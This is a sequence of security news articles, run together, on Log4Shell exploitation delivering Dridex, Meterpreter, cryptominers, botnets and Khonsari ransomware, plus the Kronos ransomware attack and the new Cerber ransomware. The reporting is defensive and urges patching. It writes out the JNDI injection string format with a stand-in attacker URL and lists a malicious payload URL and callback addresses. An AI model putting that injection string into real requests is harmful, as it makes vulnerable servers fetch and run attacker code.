Threat actors now exploit the critical Apache Log4j vulnerability named Log4Shell to infect vulnerable devices with the notorious Dridex banking trojan or Meterpreter.
The Dridex malware is a banking trojan originally developed to steal online banking credentials from victims. However, over time, the malware has evolved to be a loader that downloads various modules that can be used to perform different malicious behavior, such as installing additional payloads, spreading to other devices, taking screenshots, and more.
Dridex infections are also known to lead to ransomware attacks from operations believed to be linked to the Evil Corp hacking group. These ransomware infections include BitPaymer, DoppelPaymer, and possibly other limited-use ransomware variants.
Log4j exploited to install Dridex and Meterpreter
Today, the cybersecurity research group Cryptolaemus warned that the Log4j vulnerability is now exploited to infect Windows devices with the Dridex Trojan and Linux devices with Meterpreter.
Log4j RMI exploit to execute Dridex loader Source: BleepingComputer
When executed, the Java class will first attempt to download and launch an HTA file from various URLs, which will install the Dridex trojan. If it cannot execute the Windows commands, it will assume the device is running Linux/Unix and download and execute a Python script to install Meterpreter.
Running Meterpreter on a Linux box will provide the threat actors with a remote shell that they can use to deploy further payloads or execute commands.
The Dridex threat actors are known for using racial and religious slurs in their file names and URLs, which BleepingComputer has redacted from the images below.
Decompiled Java class executed by Log4j exploit Source: BleepingComputer
On Windows, the Java class will download an HTA file and open it, which will cause a VBS file to be created in the C:ProgramData folder. This VBS file acts as the main downloader for Dridex and has been seen previously in other Dridex email campaigns.
HTA file downloaded by Java class Source: BleepingComputer
When executed, the VBS file will check if the user is part of a Windows domain by checking various environment variables. If the user is part of a domain, the VBS file will download the Dridex DLL and execute it using Rundll32.exe, as shown below.
Rundll loading the Dridex DLL in Windows Source: BleepingComputer
As previously said, if the original Java class exploit is unable to launch the Windows commands, it will assume the operating is a Unix/Linux device and download an ‘m.py’ python script instead.
m.py python script executed on Linux devices Source: BleepingComputer
The above script contains a base64 encoded script that will be executed to install Meterpreter, a pentesting tool that provides a reverse shell back to the threat actors.
Using Meterpreter, the threat actors can connect to the compromised Linux server and remotely execute commands to spread further on the network, steal data, or deploy ransomware.
With Log4j exploited by threat actors to install a wide range of malware, it comes as no surprise that the more active malware operations would begin to target the vulnerability.
We should expect to see other malware operations begin to utilize the vulnerability to compromise servers and internal corporate networks. Therefore, it is strongly advised that all organizations scan for vulnerable applications that use Log4j and update them to the latest versions.
This includes updating Log4j to the latest version, now version 2.17, released this Saturday to fix a new denial of service vulnerability.
There are many Log4j scanners available that can be used to find vulnerable applications, including a new local scanner from the Profero security.
The first public case of the Log4j Log4Shell vulnerability used to download and install ransomware has been discovered by researchers.
Last Friday, a public exploit was released for a critical zero-day vulnerability named ‘Log4Shell’ in the Apache Log4j Java-based logging platform. Log4j is a development framework that allows developers to add error and event logging into their Java applications.
The vulnerability allows threat actors to create special JNDI strings that, when read by Log4j, cause the platform to connect to and execute code at the included URL. This allows attackers to easily detect vulnerable devices or execute code supplied by a remote site or via Base64 encoded strings.
While this vulnerability was fixed in Log4j 2.15.0 and even tightened further in Log4j 2.16.0, it is being widely exploited by threat actors to install various malware, including coin miners, botnets, and even Cobalt Strike beacons.
First Log4j exploit installing ransomware
Yesterday, BitDefender reported that they found the first ransomware family being installed directly via Log4Shell exploits.
The exploit downloads a Java class from hxxp://3.145.115[.]94/Main.class that is loaded and executed by the Log4j application.
Once loaded, it would download a .NET binary from the same server to install new ransomware [VirusTotal] named ‘Khonsari.’
This same name is also used as a the extension for encrypted files and in the ransom note, as shown below.
Khonsari ransom note Site:BleepingComputer
In later attacks, BitDefender noticed that this threat actor used the same server to distribute the Orcus Remote Access Trojan.
Likely a wiper
Ransomware expert Michael Gillespie told BleepingComputer that Khonsariuses valid encryption and is secure, meaning that it is not possible to recover files for free.
However, the ransom note has one oddity – it does not appear to include a way to contact the threat actor to pay a ransom.
Emsisoft analyst Brett Callow pointed out to BleepingComputer that the ransomware is named after and uses contact information for a Louisiana antique shop owner rather than the threat actor.
Therefore, it is unclear if that person is the actual victim of the ransomware attack or listed as a decoy.
Regardless of the reason, as it does not contain legitimate contact information for the threat actors, we believe this is a wiper rather than ransomware.
While this may be the first known instance of the Log4j exploit directly installing ransomware (wiper?), Microsoft has already seen the exploits used to deploy Cobalt Strike beacons.
Therefore, it is likely that more advanced ransomware operations are already using the exploits as part of their attacks.
Workforce management solutions provider Kronos has suffered a ransomware attack that will likely disrupt many of their cloud-based solutions for weeks.
Kronos is a workforce management and human resources provider who provides cloud-based solutions for managing timekeeping, payroll, employee benefits, analytics, and more. In 2020, Kronos merged with Ultimate Software to create a new company named UKG.
Kronos’ software is used by many companies, including car manufacturers, education institutions, and local governments. Some of the customers using Kronos include Tesla, Temple University, Community Bank, and the San Francisco Municipal Transit Authority,
Kronos hit by a weekend ransomware attack
Today, Kronos disclosed that the UKG solutions using the ‘Kronos Private Cloud’ are unavailable due to a weekend ransomware attack on December 11th.
“As we previously communicated, late on Saturday, December 11, 2021, we became aware of unusual activity impacting UKG solutions using Kronos Private Cloud,” disclosed Bob Hughes, Executive Vice President for UKG.
“We took immediate action to investigate and mitigate the issue, and have determined that this is a ransomware incident affecting the Kronos Private Cloud—the portion of our business where UKG Workforce Central, UKG TeleStaff, Healthcare Extensions, and Banking Scheduling Solutions are deployed.”
UKG solutions that are not using the Kronos Private Cloud are unaffected, including UKG Pro, UKG Ready, and UKG Dimensions.
UKG describes Kronos Private Cloud (KPC) as a secure storage and server facility hosted at third-party data centers. This infrastructure is used to host their Workforce Central, Workforce TeleStaff, TeleTime IP, Enterprise Archive, Extensions for Healthcare (EHC), and the FMSI environments.
“Kronos offers a hosting environment built upon a secure infrastructure, which undergoes examinations from an independent auditor in accordance with the AICPA’s SSAE18 (i.e., SOC 1) and the American Institute of Certified Public Accountants’ TSP Section 100a, Trust Services Principles, Criteria, and Illustrations for Security, Availability, Processing Integrity, Confidentiality, and Privacy (i.e., SOC 2 and SOC 3),” reads the description of the Kronos Private Cloud infrastructure.
According to Kronos, KPC is secured using firewalls, multi-factor authentication, and encrypted transmissions to prevent unauthorized access to their systems.
Unfortunately, the threat actors were able to breach these systems and likely encrypted servers as part of the attack.
Due to this, Kronos says their KPC solutions are not available and will likely take several weeks before systems become available again. During this time, they suggest customers “evaluate and implement alternative business continuity protocols related to the affected UKG solutions.”
While not much else is known about the attack, this disruption of services comes at a terrible time for customers getting ready for holiday vacations, bonus payments, and a limited workforce.
An affected customer has told BleepingComputer that they will now have to go back to using spreadsheets and paper and pencil to cut checks and monitor timekeeping for the time being.
BleepingComputer has reached out to UKG with further questions and will update the article when we receive a response.
Threat actors and researchers are scanning for and exploiting the Log4j Log4Shell vulnerability to deploy malware or find vulnerable servers. In this article, we have compiled the known payloads, scans, and attacks using the Log4j vulnerability.
Early Friday morning, an exploit was publicly released for a critical zero-day vulnerability dubbed ‘Log4Shell’ in the Apache Log4j Java-based logging platform used to access web server and application logs.
To exploit this vulnerability, a threat actor can change their web browser’s user agent and visit a site or search for a string on a website using the format ${jndi:ldap://[attacker_URL]}. Doing so will cause the string to be appended to the web server’s access logs.
When the Log4j application parses these logs and encounters the string, the bug will force the server to make a callback, or request, to the URL listed in the JNDI string. Threat actors can then use that URL to pass Base64-encoded commands or Java classes to execute on the vulnerable device.
Furthermore, just forcing the connection to the remote server is used to determine if a server is vulnerable to the Log4shell vulnerability.
While Apache quickly released Log4j 2.15.0 to resolve the vulnerability, threat actors had already started to scan for and exploit vulnerable servers to exfiltrate data, install malware, or take over the server.
As this software is used in thousands of enterprise applications and websites, there is significant concern that it will lead to widespread attacks and malware deployment.
Below we outline the known attacks currently exploiting the Log4j vulnerability.
Log4Shell used to install malware
When an easily exploitable remote code execution vulnerability is disclosed, malware distributors are usually the first to begin utilizing it.
Below we have compiled the known malware payloads exploiting Log4j from BleepingComputer web server access logs, GreyNoise data, and reports from researchers.
Cryptominers
As soon as the vulnerability was released, we saw threat actors exploiting the Log4Shell vulnerability to execute shell scripts that download and install various cryptominers, as shown below.
The threat actors behind the Kinsing backdoor and cryptomining botnet are heavily abusing the Log4j vulnerability with Base64 encoded payloads that have the vulnerable server download and execute shell scripts.
Kinsing Log4Shell exploit and decoded commands Source: BleepingComputer
This shell script will remove competing malware from the vulnerable device and then download and install the Kinsing malware, which will begin mining for cryptocurrency.
Kinsing installer script Source: BleepingComputer
Other Log4Shell exploits seen by BleepingComputer to be installing miners can be seen in the image below.
Other malicious cryptominer installers
Mirai and Muhstik botnets
Netlab 360 reports that the threat actors exploit the vulnerability to install the Mirai and Muhstik malware on vulnerable devices.
These malware families recruit IoT devices and servers into their botnets and use them to deploy cryptominers and perform large-scale DDoS attacks.
“This morning we got the first answers, our Anglerfish and Apacket honeypots have caught 2 waves of attacks using the Log4j vulnerability to form botnets, and a quick sample analysis showed that they were used to form Muhstik and Mirai botnets respectively, both targeting Linux devices,” explains Netlab 360 researchers.
Cobalt Strike Beacons
The Microsoft Threat Intelligence Center reported that the Log4j vulnerabilities are also being exploited to drop Cobalt Strike beacons.
Cobalt Strike is a legitimate penetration testing toolkit where red teamers deploy agents, or beacons, on “compromised” devices to perform remote network surveillance or execute further commands.
However, threat actors commonly use cracked versions of Cobalt Strike as part of network breaches and during ransomware attacks.
Scanning and information disclosure
In addition to using the Log4Shell exploits to install malware, threat actors and security researchers are using the exploit to scan for vulnerable servers and exfiltrate information from them.
As you can see below, researchers use the exploit to force vulnerable servers to access URLs or perform DNS requests for callback domains. This allows the researchers or threat actors to determine if the server is vulnerable and use it for future attacks, research, or attempts to claim a bug bounty award.
Some researchers may be going a step too far by using the exploit to exfiltrate environment variables that contain server data without permission, including the host’s name, the user name the Log4j service is running under, the operating system name, and OS version number.
Researchers and threat actors scanning for vulnerable servers Source: BleepingComputer
The most common domains or IP addresses used as part of the scanning are/or data exfiltration campaigns are:
Of particular interest is the bingsearchlib.com domain, which is being used heavily as a callback for Log4j exploits. However, a security researcher told BleepingComputer that while the domain was being used as an exploit callback, bingsearchlib.com was not registered.
The security researcher said they registered the domain to prevent threat actors from abusing it but are not logging requests.
Threat intelligence company GreyNoise shows that IP addresses using the bingsearchlib.com callback also commonly use a Log4Shell callback of 205.185.115.217:47324.
For unknown attacks, BleepingComputer has seen repeated requests from a domain named psc4fuel.com attempting to exploit our website. This domain appears to be impersonating the legitimate psc4fuel.com domain belonging to a petroleum services company.
The psc4fuel.com domain is used to push Java classes that the exploit will execute. However, BleepingComputer has not been able to retrieve a sample of these classes to see if it is a researcher or threat actor exploiting the Log4j vulnerability.
psc4fuel.com domain used in Log4j attacks Source: BleepingComputer
While there has been no public research showing that ransomware gangs or other threat actors utilize the Log4j exploit, the fact that Cobalt Strike beacons have been deployed means these attacks are imminent.
Due to this, it is imperative that all users install the latest version of Log4j or affected applications to resolve this vulnerability as soon as possible.
If you know of other malware campaigns exploiting the Log4j vulnerability, please let us know via Signal at 646-961-3731, Twitter, or our contact form so we can add the information to this article.
Update 12/12/21 9:50 PM EST: Added Cobalt Strike beacons detected by Microsoft.
Cerber ransomware is back, as a new ransomware family adopts the old name and targets Atlassian Confluence and GitLab servers using remote code execution vulnerabilities.
As ransomware began picking up pace in 2016, a new Cerber ransomware operation emerged that quickly became one of the most prolific gangs at the time. However, its activity slowly tapered off until it disappeared at the end of 2019.
Starting last month, a ransomware called Cerber once again reared its ugly head, as it began infecting victims worldwide with both a Windows and Linux encryptor.
The new version of Cerber is creating ransom notes named __$$RECOVERY_README$$__.html and appending the .locked extension to encrypted files.
From the victims seen by BleepingComputer, the new Cerber ransomware gang is demanding ransoms ranging from $1,000 to $3,000.
Cerber Tor payment site Source: BleepingComputer
Emsisoft CTO and ransomware expert Fabian Wosar examined the new variant and said it does not match the code of the older family. In particular, the new version uses the Crypto+++ library, while the older variant used Windows CryptoAPI libraries.
These code differences and the fact that the original Cerber did not have a Linux variant lead us to believe that a new threat actor has adopted the name, ransom note, and Tor payment site, and is not the original operation.
Targeting Confluence and GitLab servers
This week, security researchers and vendors have seen the new Cerber ransomware operation hacking servers using remote code execution vulnerabilities in Atlassian Confluence and GitLab.
Security researcher BoanBird shared a sample of the new Cerber ransomware with BleepingComputer which shows this new strain specifically targets the Atlassian Confluence folders listed below.
C:Program FilesAtlassianApplication Data
C:Program FilesAtlassianApplication DataConfluence
C:Program FilesAtlassianApplication DataConfluencebackups
BoanBird also shared a link to the GitLab forums where admins disclosed that Cerber exploits a recently disclosed vulnerability in GitLab’s ExifTool component.
Cerber targeting GitLab servers as well
These vulnerabilities are tracked as CVE-2021-26084 (Confluence) and CVE-2021-22205 (GitLab) and can be exploited remotely without authentication. Additionally, both vulnerabilities have publicly disclosed proof-of-concept (PoC) exploits, allowing attackers to breach servers easily.
A report released this week by researchers at Tencent shows that attacks deploying the new Cerber ransomware are mostly targeting the United States, Germany, and China.
Although the previous version of Cerber excluded targets in the CIS (Commonwealth of Independent States), Tencent’s telemetry data from the recent attacks shows otherwise. Furthermore, BleepingComputer has also independently confirmed multiple victims in Russia, indicating that these threat actors are indiscriminate in who they target.
Victims heatmap on the latest Cerber attacks Source: Tencent
At this time, the best approach to protect against Cerber would be to apply the available security updates for Atlassian Confluence and GitLab.
However, as more servers are patched, we should expect the threat actors to target other vulnerabilities to breach servers.
